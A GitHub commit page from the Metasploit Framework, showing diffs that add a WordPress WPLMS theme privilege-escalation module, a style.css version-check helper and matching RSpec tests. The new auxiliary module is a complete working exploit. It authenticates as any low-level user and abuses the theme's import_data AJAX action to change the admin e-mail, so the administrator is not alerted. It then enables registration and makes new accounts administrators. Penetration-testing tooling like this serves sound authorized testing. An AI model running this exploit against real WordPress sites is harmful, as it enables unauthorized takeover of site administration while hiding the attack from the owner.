Skip to content

Commit 7bf00f8

Browse files
committed
Land rapid7#4789, @rastating WPLMS wordpress module
2 parents 6d85b5f + 00c4d70 commit 7bf00f8

File tree

3 files changed

+291
-19
lines changed

3 files changed

+291
-19
lines changed

lib/msf/http/wordpress/version.rb

Lines changed: 76 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -43,22 +43,42 @@ def wordpress_version
4343
# Checks a readme for a vulnerable version
4444
#
4545
# @param [String] plugin_name The name of the plugin
46-
# @param [String] fixed_version The version the vulnerability was fixed in
46+
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
4747
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
4848
#
4949
# @return [ Msf::Exploit::CheckCode ]
50-
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
50+
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
5151
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
5252
end
5353

54+
# Checks the style.css file for a vulnerable version
55+
#
56+
# @param [String] theme_name The name of the theme
57+
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
58+
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
59+
#
60+
# @return [ Msf::Exploit::CheckCode ]
61+
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
62+
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
63+
res = send_request_cgi(
64+
'uri' => style_uri,
65+
'method' => 'GET'
66+
)
67+
68+
# No style.css file present
69+
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
70+
71+
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
72+
end
73+
5474
# Checks a readme for a vulnerable version
5575
#
5676
# @param [String] theme_name The name of the theme
57-
# @param [String] fixed_version The version the vulnerability was fixed in
77+
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
5878
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
5979
#
6080
# @return [ Msf::Exploit::CheckCode ]
61-
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
81+
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
6282
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
6383
end
6484

@@ -77,7 +97,7 @@ def wordpress_version_helper(url, regex)
7797
nil
7898
end
7999

80-
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
100+
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
81101
case type
82102
when :plugin
83103
folder = 'plugins'
@@ -99,36 +119,73 @@ def check_version_from_readme(type, name, fixed_version, vuln_introduced_version
99119
'uri' => readme_url,
100120
'method' => 'GET'
101121
)
122+
end
102123

103-
# no Readme.txt present
104-
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
124+
if res.nil? || res.code != 200
125+
# No readme.txt or Readme.txt present for plugin
126+
return Msf::Exploit::CheckCode::Unknown if type == :plugin
127+
128+
# Try again using the style.css file
129+
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
130+
end
131+
132+
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
133+
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
134+
# If no version could be found in readme.txt for a theme, try style.css
135+
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
136+
else
137+
return version_res
105138
end
139+
end
106140

107-
# try to extract version from readme
108-
# Example line:
109-
# Stable tag: 2.6.6
110-
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
141+
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
142+
case type
143+
when :readme
144+
# Try to extract version from readme
145+
# Example line:
146+
# Stable tag: 2.6.6
147+
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
148+
when :style
149+
# Try to extract version from style.css
150+
# Example line:
151+
# Version: 1.5.2
152+
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
153+
else
154+
fail("Unknown file type #{type}")
155+
end
111156

112-
# readme present, but no version number
157+
# Could not identify version number
113158
return Msf::Exploit::CheckCode::Detected if version.nil?
114159

115-
vprint_status("#{peer} - Found version #{version} of the #{type}")
160+
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
116161

117-
# Version older than fixed version
118-
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
162+
if fixed_version.nil?
119163
if vuln_introduced_version.nil?
120164
# All versions are vulnerable
121165
return Msf::Exploit::CheckCode::Appears
122-
# vuln_introduced_version provided, check if version is newer
123166
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
167+
# Newer or equal to the version it was introduced
124168
return Msf::Exploit::CheckCode::Appears
125169
else
126-
# Not in range, nut vulnerable
127170
return Msf::Exploit::CheckCode::Safe
128171
end
129-
# version newer than fixed version
130172
else
131-
return Msf::Exploit::CheckCode::Safe
173+
# Version older than fixed version
174+
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
175+
if vuln_introduced_version.nil?
176+
# All versions are vulnerable
177+
return Msf::Exploit::CheckCode::Appears
178+
# vuln_introduced_version provided, check if version is newer
179+
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
180+
return Msf::Exploit::CheckCode::Appears
181+
else
182+
# Not in range, nut vulnerable
183+
return Msf::Exploit::CheckCode::Safe
184+
end
185+
# version newer than fixed version
186+
else
187+
return Msf::Exploit::CheckCode::Safe
188+
end
132189
end
133190
end
134191
end
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::HTTP::Wordpress
10+
11+
def initialize(info = {})
12+
super(update_info(
13+
info,
14+
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
15+
'Description' => %q{
16+
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
17+
any user level to set any system option via a lack of validation in the import_data function
18+
of /includes/func.php.
19+
20+
The module first changes the admin e-mail address to prevent any
21+
notifications being sent to the actual administrator during the attack, re-enables user
22+
registration in case it has been disabled and sets the default role to be administrator.
23+
This will allow for the user to create a new account with admin privileges via the default
24+
registration page found at /wp-login.php?action=register.
25+
},
26+
'Author' =>
27+
[
28+
'Evex', # Vulnerability discovery
29+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['WPVDB', '7785']
35+
],
36+
'DisclosureDate' => 'Feb 09 2015'
37+
))
38+
39+
register_options(
40+
[
41+
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
42+
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
43+
], self.class)
44+
end
45+
46+
def check
47+
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
48+
end
49+
50+
def username
51+
datastore['USERNAME']
52+
end
53+
54+
def password
55+
datastore['PASSWORD']
56+
end
57+
58+
def php_serialize(value)
59+
# Only strings and numbers are required by this module
60+
case value
61+
when String, Symbol
62+
"s:#{value.bytesize}:\"#{value}\";"
63+
when Fixnum
64+
"i:#{value};"
65+
end
66+
end
67+
68+
def serialize_and_encode(value)
69+
serialized_value = php_serialize(value)
70+
unless serialized_value.nil?
71+
Rex::Text.encode_base64(serialized_value)
72+
end
73+
end
74+
75+
def set_wp_option(name, value, cookie)
76+
encoded_value = serialize_and_encode(value)
77+
if encoded_value.nil?
78+
vprint_error("#{peer} - Failed to serialize #{value}.")
79+
else
80+
res = send_request_cgi(
81+
'method' => 'POST',
82+
'uri' => wordpress_url_admin_ajax,
83+
'vars_get' => { 'action' => 'import_data' },
84+
'vars_post' => { 'name' => name, 'code' => encoded_value },
85+
'cookie' => cookie
86+
)
87+
88+
if res.nil?
89+
vprint_error("#{peer} - No response from the target.")
90+
else
91+
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
92+
end
93+
94+
return res
95+
end
96+
end
97+
98+
def run
99+
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
100+
cookie = wordpress_login(username, password)
101+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
102+
print_good("#{peer} - Authenticated with WordPress")
103+
104+
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
105+
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
106+
if set_wp_option('admin_email', new_email, cookie).nil?
107+
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
108+
end
109+
110+
print_status("#{peer} - Enabling user registrations...")
111+
if set_wp_option('users_can_register', 1, cookie).nil?
112+
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
113+
end
114+
115+
print_status("#{peer} - Setting the default user role...")
116+
if set_wp_option('default_role', 'administrator', cookie).nil?
117+
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
118+
end
119+
120+
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
121+
print_good("#{peer} - Privilege escalation complete")
122+
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
123+
end
124+
end

spec/lib/msf/http/wordpress/version_spec.rb

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,97 @@
145145
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
146146
end
147147

148+
context 'when all versions are vulnerable' do
149+
let(:wp_code) { 200 }
150+
let(:wp_body) { 'Stable tag: 1.0.0' }
151+
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
152+
end
153+
end
154+
155+
describe '#check_theme_version_from_style' do
156+
before :each do
157+
allow(subject).to receive(:send_request_cgi) do |opts|
158+
res = Rex::Proto::Http::Response.new
159+
res.code = wp_code
160+
res.body = wp_body
161+
res
162+
end
163+
end
164+
165+
let(:wp_code) { 200 }
166+
let(:wp_body) { nil }
167+
let(:wp_fixed_version) { nil }
168+
169+
context 'when no style is found' do
170+
let(:wp_code) { 404 }
171+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
172+
end
173+
174+
context 'when no version can be extracted from style' do
175+
let(:wp_code) { 200 }
176+
let(:wp_body) { 'invalid content' }
177+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
178+
end
179+
180+
context 'when version from style has arbitrary leading whitespace' do
181+
let(:wp_code) { 200 }
182+
let(:wp_fixed_version) { '1.0.1' }
183+
let(:wp_body) { 'Version: 1.0.0' }
184+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
185+
let(:wp_body) { 'Version:1.0.0' }
186+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
187+
end
188+
189+
context 'when installed version is vulnerable' do
190+
let(:wp_code) { 200 }
191+
let(:wp_fixed_version) { '1.0.1' }
192+
let(:wp_body) { 'Version: 1.0.0' }
193+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
194+
end
195+
196+
context 'when installed version is not vulnerable' do
197+
let(:wp_code) { 200 }
198+
let(:wp_fixed_version) { '1.0.1' }
199+
let(:wp_body) { 'Version: 1.0.2' }
200+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
201+
end
202+
203+
context 'when installed version is vulnerable (version range)' do
204+
let(:wp_code) { 200 }
205+
let(:wp_fixed_version) { '1.0.2' }
206+
let(:wp_introd_version) { '1.0.0' }
207+
let(:wp_body) { 'Version: 1.0.1' }
208+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
209+
end
210+
211+
context 'when installed version is older (version range)' do
212+
let(:wp_code) { 200 }
213+
let(:wp_fixed_version) { '1.0.1' }
214+
let(:wp_introd_version) { '1.0.0' }
215+
let(:wp_body) { 'Version: 0.0.9' }
216+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
217+
end
218+
219+
context 'when installed version is newer (version range)' do
220+
let(:wp_code) { 200 }
221+
let(:wp_fixed_version) { '1.0.1' }
222+
let(:wp_introd_version) { '1.0.0' }
223+
let(:wp_body) { 'Version: 1.0.2' }
224+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
225+
end
226+
227+
context 'when installed version is newer (text in version number)' do
228+
let(:wp_code) { 200 }
229+
let(:wp_fixed_version) { '1.5.3' }
230+
let(:wp_body) { 'Version: 2.0.0-beta1' }
231+
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
232+
end
233+
234+
context 'when all versions are vulnerable' do
235+
let(:wp_code) { 200 }
236+
let(:wp_body) { 'Version: 1.0.0' }
237+
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
238+
end
148239
end
149240

150241
end

0 commit comments

Comments
 (0)